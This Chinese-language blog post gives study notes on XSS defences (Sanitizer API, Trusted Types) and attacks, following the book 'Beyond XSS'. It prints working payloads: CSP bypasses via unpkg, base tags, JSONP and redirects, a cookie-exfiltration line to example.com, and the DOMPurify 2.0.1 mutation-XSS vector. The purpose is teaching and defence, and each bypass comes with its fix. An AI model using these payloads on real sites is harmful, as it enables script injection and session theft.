
前言#
承接上篇 [Security] XSS 的多道防線:Sanitization、CSP、降低影響範圍,此篇主要敘述的是《Beyond XSS:探索網頁前端資安宇宙》 2–4 ~ 2–7 章節的筆記,若有錯誤歡迎大家回覆告訴我~
最新的 XSS 防禦:Trusted Types 與內建的 Sanitizer API#
隨時間發展,瀏覽器逐漸提供處理使用者輸入的相關功能,分別為 Trusted Types 與 Sanitizer API,不過目前只有 Chromium based 瀏覽器支援,支援度有限,但還是可以先了解一下~
另外補充,有些框架也逐漸跟上腳步,例如 Angular、Next.js 已有相關討論或已有對 Trusted Types 的支援。
Sanitizer API#
Sanitizer API 是瀏覽器內建的 sanitizer,使用方式如下:
<!DOCTYPE html><html><body> <div id=content></div> <script> const html = ` Hello, <script>alert(1)<\/script> <img src=x onerror=alert(1)> <a href=javascript:alert(1)>click!</a> <h1 onclick=alert(1) id=a>title</h1> `; const sanitizer = new Sanitizer(); document .querySelector("#content") .setHTML(html, { sanitizer }); </script></body></html>其中 setHTML 是為搭配 Sanitizer API 而新增的方法,在 setHTML 傳入原始 HTML 和 sanitizer,就可用 Sanitizer API 過濾。
最後過濾的結果如下,過濾掉了危險內容:
Hello,<img src=x><a>click me</a><h1 id=a>title</h1>Sanitizer API 目標是「不管怎麼用、怎麼設定,都不會有 XSS 的產生」,這是優點也是缺點,優點是確保安全性,不管怎麼用都不會出事;缺點則是不夠彈性,就算你想要用,不能用就是不能用,例如以下程式碼即使在設定檔允許 iframe 和 iframe 的 src,最後過濾的結果還是會拿掉 iframe:
<!DOCTYPE html><html><body> <div id=content></div> <script> const html = ` Hello, this is my channel: <iframe src=https://www.youtube.com/watch?v=123></iframe> `; const sanitizer = new Sanitizer({ allowElements: ['iframe'], allowAttributes: { 'iframe': ['src'] } }); document .querySelector("#content") .setHTML(html, { sanitizer }); /* 結果:Hello, this is my channel: */ </script></body></html>關於是否開放 iframe 這類標籤仍在討論中,詳細可見 Allow Embedding #124。在官方文件中也有定義合法元素和屬性,如果你想用的元素和屬性不在清單內,則無論如何都無法用。
Sanitizer API 目前仍在相對早期階段,可等主流瀏覽器都支援、可實現自己想要的 feature 後,再考慮改用此 API,目前還是推薦使用 DOMPurify 做 sanitize。
Trusted Types#
稍微介紹 Trusted Types 的出現背景~
在平常開發時,開發者需時時注意使用者輸入,以避免 XSS 漏洞,但要顧慮的細節很多(如:innerHTML、<iframe srcdoc>、document.write),不一定能顧及全部。此時除了開發者自己小心,如果有其他方式可防止出錯就更好了!
而這就是 Trusted Types 出現的原因,使用 Trusted Types 後,在執行 div.innerHTML = str 時,當 str 是沒處理過的字串,就會拋出錯誤、停止執行,以此提醒開發者謹慎對待。
Trusted Types 使用方式#
在 CSP 新增 Trusted Types,就可啟用 Trusted Types,如此可強制瀏覽器在插入 HTML 時一定要先經過 Trusted Types 處理:
Content-Security-Policy: require-trusted-types-for 'script';實際應用的範例程式碼如下:
<!DOCTYPE html><html><head> <meta http-equiv="Content-Security-Policy" content="require-trusted-types-for 'script'"></head><body> <div id=content></div> <script> // 新增一個 policy const sanitizePolicy = trustedTypes.createPolicy('sanitizePolicy', { // 決定你要怎麼做 sanitize/escape createHTML: (string) => string .replace(/</g, "<") .replace(/>/g, '>') }); // 回傳的 safeHtml 型態為 TrustedHTML,不是字串 const safeHtml = sanitizePolicy.createHTML('<h1>hello</h1>') document.querySelector("#content").innerHTML = safeHtml </script></body></html>需先建立 Trusted Types policy 處理 HTML,才能通過 Trusted Types 的檢查,否則會跳出錯誤。
Trusted Types 的目標是「強制在有可能出問題的 DOM API 使用 Trusted Types,不能使用字串」,其目的並非確定 HTML 沒問題,而是強制開發者使用 Trusted Types 的 HTML。
Trusted Types 優點如下:
- 降低風險:在開發者忘記處理使用者輸入時跳出錯誤,避免將未處理過字串作為 HTML 直接 render 出來
- 減輕開發者負擔:開發者只需確認
createHTML的實作沒問題即可
另外,Trusted Types 中的 createHTML 實作由自己定義,因此可和其他 API 結合,其他 API 如:DOMPurify、Sanitizer API (雖然目前瀏覽器還沒廣泛支援)。
目前只有 Chromium based 的瀏覽器有支援 Trusted Types,若想在 production 試用 Trusted Types,可參考 Trusted Types polyfill。
繞過 XSS 防禦:常見的 CSP bypass#
以下將介紹幾種 CSP 繞過手法。
經由不安全的 domain 的繞過#
若網站用公開 CDN 載入 JavaScript,CSP 可能這樣設定:script-src https://unpkg.com。
這樣寫的問題在於這等於可載入這 origin 上的所有 library,例如以下:
<!DOCTYPE html><html><head> <meta http-equiv="Content-Security-Policy" content="script-src https://unpkg.com/"></head><body> <div id=userContent> <script src="https://unpkg.com/react@16.7.0/umd/react.production.min.js"></script> <script src="https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js"></script> <br csp="alert(1)"> </div></body></html>因為我們偷懶沒把 CSP 寫完整,讓攻擊者可載入繞過 CSP 專用的 library csp-bypass,只要在 HTML tag 加 csp 屬性,csp 屬性內的程式碼就會執行。
解決方式就是不要用這些公開的 CDN,或是把 CSP 路徑寫完整,例如寫:https://unpkg.com/react@16.7.0/,不過 CSP 路徑寫完整可能還是會有問題,後面會再提到,因此建議不要直接載入第三方 script。
經由 base 的繞過#
以 nonce 指定哪些 script 可載入是常見 CSP 設定之一,例如以下,攻擊者不知 nonce 就無法執行 JavaScript。
<!DOCTYPE html><html><head> <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'nonce-abc123';"></head><body> <div id=userContent> <script src="https://example.com/my.js"></script> <!-- 打開 console 會看到跳錯:Refused to load the script 'https://example.com/my.js' because it violates the following Content Security Policy directive: "script-src 'nonce-abc123'". Note that 'script-src-elem' was not explicitly set, so 'script-src' is used as a fallback. --> </div> <script nonce=abc123 src="app.js"></script></body></html>這樣寫的問題在於忘記設 base-uri 指示,base 可用來改變所有相對路徑參考的位置:
<!DOCTYPE html><html><head> <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'nonce-abc123';"></head><body> <div id=userContent> <!-- 更改相對路徑參考位置 --> <base href="https://example.com/"> </div> <script nonce=abc123 src="app.js"></script></body></html>base 更改相對路徑參考位置後,script 載入的 app.js 變成 https://example.com/app.js,攻擊者就可載入自己的腳本。
解決方式是在 CSP 加上 base-uri,如:base-uri 'none'。
經由 JSONP 的繞過#
JSONP 是一種跨來源取資料的方式,較古老,屬於 CORS 還沒成熟前出現的 workaround。
JSONP 產生背景是因為瀏覽器會阻止和非同源網頁的互動,例如在 https://blog.huli.tw 執行 fetch('https://example.com') 會出現 CORS 錯誤,無法順利取得 response。不過有些元素的載入不受同源政策限制,如:<img>、<script>,像是載入 GTM <script src="https://www.googletagmanager.com/gtag/js?id=UA-XXXXXXXX-X"></script> 時,並不會被限制。
因此 JSONP 針對非同源網頁互動的解法就是以 <script> 交換資料,讓 API 回傳 JavaScript 程式碼而非 JSON。在呼叫 API 時傳入 callback,在呼叫 API 時就會回傳執行該 callback 函式的程式碼,我們就可透過該函式接收資料。例如呼叫 https://example.com/api/users?callback=anyFunctionName 時,回傳的內容如下:
anyFunctionName([ {id: 1, name: 'user01'}, {id: 2, name: 'user02'}])網頁使用方式就是以 anyFunctionName 這 function 接收資料:
<script> function anyFunctionName(users) { console.log('Users from api:', users) }</script><script src="https://example.com/api/users?callback=anyFunctionName"></script><!-- https://example.com/api/users?callback=anyFunctionName 會呼叫 anyFunctionName function,就會印出 users 資料 -->其中 anyFunctionName 是可以任意替換函式名稱的,只要傳入不同 callback 內容即可。
JSONP 可能有何問題?如果 server 沒做好驗證,callback 就可輸入任意字元,就可在呼叫 API 時插入想執行的程式碼,也因而能利用此特性來繞過 CSP。利用 JSONP 繞過 CSP 的程式碼範例如下:
<!DOCTYPE html><html><head> <!-- 為了用 Google 的 reCAPTCHA,在 CSP 新增 https://www.google.com 這 domain --> <meta http-equiv="Content-Security-Policy" content="script-src https://www.google.com https://www.gstatic.com"></head><body> <div id=userContent> <script src="https://example.com"></script> </div> <script async src="https://www.google.com/recaptcha/api.js"></script> <button class="g-recaptcha" data-sitekey="6LfkWL0eAAAAAPMfrKJF6v6aI-idx30rKs55Lxpw" data-callback='onSubmit'>Submit</button></body></html>上面這段程式碼允許某網域的 script,但 https://www.google.com 網域上有支援 JSONP 的 URL,攻擊者可用 JSONP 的 URL 繞過 CSP、傳入 jsonp callback 來執行想執行的程式碼,例如以下:
<script src="https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//"></script>解決方式是將 CSP 路徑設更嚴謹(可降低風險但不是完全防止風險),以及撰寫 CSP 時先確認哪些網域有 JSONP API 可使用,或是以 CSP Evaluator 檢查時,它也會提醒你該網域有 JSONP URL。
JSONP 繞過的限制#
有些網站會限制 JSONP 的 callback 參數,例如只能輸入 a-zA_Z.,此時攻擊者還可搭配 Same Origin Method Execution(SOME)來達成攻擊。Same Origin Method Execution 的意思是雖然只能呼叫函式,但可以找同源網站下的方法來執行。
Same Origin Method Execution 加上有參數限制的 JSOP 可達到攻擊,JSONP callback 可帶上例如?callback=document.body.firstElementChild.nextElementSibling.click,這些都是允許字元,可放入 JSONP callback 內,在呼叫 JSONP 後執行。假設最後呼叫點擊的元素是有問題的,就可用 callback 去點擊有問題的元素、觸發攻擊。
實際漏洞案例例如 Bypass CSP Using WordPress By Abusing Same Origin Method Execution。
經由重新導向的繞過#
CSP 遇到伺服器重導向時,會…?
- 若要重導向到不同 origin,且該 origin 不在允許名單內:失敗 ⛔
- 若要重導向到同 origin、不同 path:可繞過原限制 ✅(ref:CSP spec 4.2.2.3. Paths and Redirects)
<!DOCTYPE html><html><head> <meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d"></head><body> <div id=userContent> <!-- CSP 設 https://www.google.com/a/b/c/d ,因為 /test 和 /a/test 路徑不對,所以會被擋下 --> <script src="https://https://www.google.com/test"></script> <script src="https://https://www.google.com/a/test"></script> <script src="http://localhost:5555/301"></script> </div></body></html>其中 http://localhost:5555/301 符合 http://localhost:5555的規則,可通過 CSP,即使 http://localhost:5555/301 會在 server 端會重導向到 https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//,也可載入,因為重導向就不看 path,因而完成對 path 的繞過。
由上可看出問題在於即使 CSP 路徑寫完整,重新導向後仍會被繞過,解決方式是確保網站沒有 open redirect 漏洞、確保 CSP 規則內沒有可被重導向利用的網域。
經由 RPO 的繞過#
RPO 全名是 Relative Path Overwrite,舉例來說,當 CSP 允許路徑是 https://example.com/scripts/react/ 時,攻擊者可用 <script src=”https://example.com/scripts/react/..%2fangular%2fangular.js"></script> 的方式繞過,這最後會載入 https://example.com/scripts/angular/angular.js。
為什麼呢?因瀏覽器與伺服器對網址解析不同,對瀏覽器來說,https://example.com/scripts/react/..%2fangular%2fangular.js這是載入 https://example.com/scripts/react/ 底下的 ..%2fangular%2fangular.js 檔案,因此符合 CSP 規則;但對某些伺服器來說,收到請求時會先 decode,解析後認為這是在請求 https://example.com/scripts/angular/angular.js,這網址就不符 CSP,但還是成功載入了,因此是繞過 CSP 規則。
解決方式是讓瀏覽器跟伺服器的解析一致。
其他種類的繞過#
上述是針對 CSP 規則的繞過,以下是「CSP 本身限制」產生的繞過方式。
舉例來說,某網站的 CSP 設定嚴格,但可執行 JavaScript:
<!DOCTYPE html><html><head> <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-inline';"></head><body> <script> // any JavaScript code </script></body></html>此時若要偷 document.cookie 且傳出去,要怎麼做?
這情況的限制是 CSP 阻止任何資源載入,包含:<img>、<iframe>、fetch()、navigator.sendBeacon,在這限制下有幾個繞過方式:
繞過方式 1:頁面跳轉#
例如 window.location = 'https://example.com?q=' + document.cookie,雖然有 CSP 指示 navigate-to 可限制,但目前瀏覽器支援度低。
繞過方式 2:WebRTC#
程式碼可參考 WebRTC bypass CSP connect-src policies #35,目前沒有 CSP 規則可限制,但未來可能會有 webrtc 指示。
繞過方式 3:DNS prefetch#
把想傳送的資料當成 domain 一部分,透過 DNS query 傳出,例如 <link rel="dns-prefetch" href="https://data.example.com">,以前曾有 prefetch-src 規則,在 Chrome 112 後改成 prefetch 系列應遵守 default-src(Resoure Hint “Least Restrictive” CSP)。
由上可知,雖然 default-src 看似能封鎖一切,但目前仍有方法能將資料傳出。
繞過 XSS 防禦:Mutation XSS#
mutation XSS(簡稱 mXSS)是針對 sanitizer 的攻擊方式。
Sanitizer 的使用方式如下,輸入與輸出值都是有 html 的字串,但中間會由 sanitizer 做些過濾處理。
const inputHtml = '<h1>hello!</h1>'const safeHtml = sanitizer.sanitize(inputHtml)document.body.innerHTML = safeHtmlsanitizer 內部運作的步驟是:
- 把
inputHtml解析為 DOM tree - 根據設定檔,刪除不合法的 node 與 attribute
- 把 DOM tree 序列化(serialize)成字串
- 回傳
但上述這過程有個潛在問題,就是「看起來安全的 HTML,其實不安全」。介紹 mutation XSS 如何達成攻擊前,我們先前情提要一下~
瀏覽器貼心服務#
瀏覽器會因應情況與規格,調整 HTML,因此指派給瀏覽器的 HTML,不一定是最後呈現的。當 HTML 字串 render 時被瀏覽器改變,就稱為 mutation,而利用此特性達成的 XSS 稱為 mutation XSS。
舉例來說,原程式碼是這樣:
<div id=content></div><script> content.innerHTML = '<svg><p>hello</svg>'</script>瀏覽器實際渲染的會是:
<svg></svg><p>hello</p>可看出 HTML 結構被改變, <p> 跑到 <svg> 外,且補上 </p>。原因是<p> 不該在 <svg> 內,且 <p> 少了 </p>,因此瀏覽器協助修復。
同樣是 p 在 svg 內,再看一個範例:
<div id=content></div><script> content.innerHTML = '<svg></p>hello</svg>'</script>瀏覽器實際渲染的會是:
<svg><p></p>hello</svg>瀏覽器會補上 <p>,但 <p> 仍在 <svg> 內(現在 Chrome 行為已修復,實際渲染結果會是 <svg></svg><p></p>hello,所以現在無法測出這狀況),這時如果再把 <svg><p></p>hello</svg> 丟給 innerHTML:
<script> content.innerHTML = '<svg><p></p>hello</svg>' console.log(content.innerHTML)</script>瀏覽器渲染結果是:
<svg></svg><p></p>hello瀏覽器會讓 <p> 和 hello 都跳出 <svg> 外。
而如果上述結合 sanitizer 流程,會變這樣:
- 原始 html:
<svg></p>hello</svg> - 經過 sanitizer 解析為 DOM tree:
<svg> <p></p> hello</svg>3. 將 DOM tree 序列化成字串:<svg><p></p>hello</svg>
4. 拿到 safeHTML,執行 document.body.innerHTML = safeHtml
最後瀏覽器渲染結果會變成:
<svg></svg><p></p>hello可看出 sanitizer 處理的和最後瀏覽器渲染的有落差,對 sanitizer 來說,<p> 跟 hello 在 svg 內;對瀏覽器來說,<p> 跟 hello 在 svg 外,這個 mutation 就讓任意元素從 <svg> 跳出。
神奇的 HTML#
<style> 內的東西都會被解讀為文字,先看以下原始程式碼:
<!DOCTYPE html><html><body> <style> <a id="test"></a> </style></body></html>瀏覽器解析時,<a> 會被解析為文字:

但如果 <style> 外層加上 <svg>,<style> 內的東西會被解讀為 HTML 標籤。以下為範例 1:
<!DOCTYPE html><html><body> <svg> <style> <a id="test"></a> </style> </svg></body></html>上述在瀏覽器解析時,<a> 會被解析為 HTML 元素:

範例 2 是 <a> 加上屬性:
<svg> <style> <a id="</style><img src=x onerror=alert(1)>"></a> </style></svg>瀏覽器解析時,<a> 被解析為有 </style><img src=x onerror=alert(1)> id 屬性的標籤:


延伸範例 2,如果是 <style> + <a> 屬性,去掉 <svg>:
<style> <a id="</style><img src=x onerror=alert(1)>"></a></style>瀏覽器解析時,<a> 只是純文字,而原 id 屬性內的 </style> 會關閉前面的 <style>,也因為 style 提前關閉,導致 <img>從純文字跑出,成為 HTML 元素。
由上可知,<style> 外有無 <svg> 會影響瀏覽器的解析:
<style>外層有<svg>:<style>內的東西會被解析為 HTML 元素<style>外層無<svg>:<style>內的東西會被解析為純文字
全部加在一起#
mXSS 的前情提要結束~當結合以下兩者時就可達成 mXSS:
- 瀏覽器 mutation 能讓所有元素從
<svg>跳出來 <style>外層有無<svg>會影響瀏覽器解析
實際案例例如 DOMPurify 釋出的 2.0.1 版本,其中修復了利用 mutation 繞過檢查的 mXSS。有問題的原 payload 是 <svg></p><style><a id="</style><img src=1 onerror=alert(1)>">,被解析為 DOM tree 時瀏覽器會改成這樣:
<svg> <p></p> <style> <a id="</style><img src=1 onerror=alert(1)>"></a> </style></svg>此時 DOMPurify 根據 DOM tree 檢查,認為 <svg>、<p>、<style>、<a> 都是允許標籤,id 是允許屬性,因此回傳上面這段的序列化結果。
接著使用者將字串丟給 innerHTML,就會發現標籤從 svg 跳出,原本是屬性內容的 img 變成標籤,達成 XSS。
<svg></svg><p></p><style><a id="</style><img src=1 onerror=alert(1)>"></a></style>後續 DOMPurify 加入檢查以修復問題,Chromium 也在規格補上新規則、修復漏洞。
繞過 XSS 防禦:Universal XSS#
Universal XSS 的意思是 XSS 攻擊對象是瀏覽器或內建的 plugin,而非攻擊網站本身,影響範圍很大,因為它無論在哪個網站都可執行程式碼(即使網站本身沒問題也可被執行 XSS),因此稱 Universal XSS 為「最強的 XSS」。
Universal XSS 算是比較嚴重的 XSS,案例不多,書中有提及的案例如:2006 年的 Firefox 的 Adobe Acrobat plugin、2012 年的 Android Chrome 的 UXSS、2019 年 Chromium 透過 portal 的 UXSS…等,就不細部一一介紹~
對於瀏覽器的 UXSS 漏洞,開發者是無能為力的,因為有問題的是瀏覽器,不是網站本身,而身為使用者,為避免 UXSS 攻擊,使用者能做的就是盡量更新到瀏覽器最新版本、期待廠商盡快修復。
Reference:#
- https://aszx87410.github.io/beyond-xss/ch2/trust-types/
- https://aszx87410.github.io/beyond-xss/ch2/csp-bypass/
- https://aszx87410.github.io/beyond-xss/ch2/mutation-xss/
- https://aszx87410.github.io/beyond-xss/ch2/universal-xss/
如有任何問題歡迎聯絡、不吝指教✍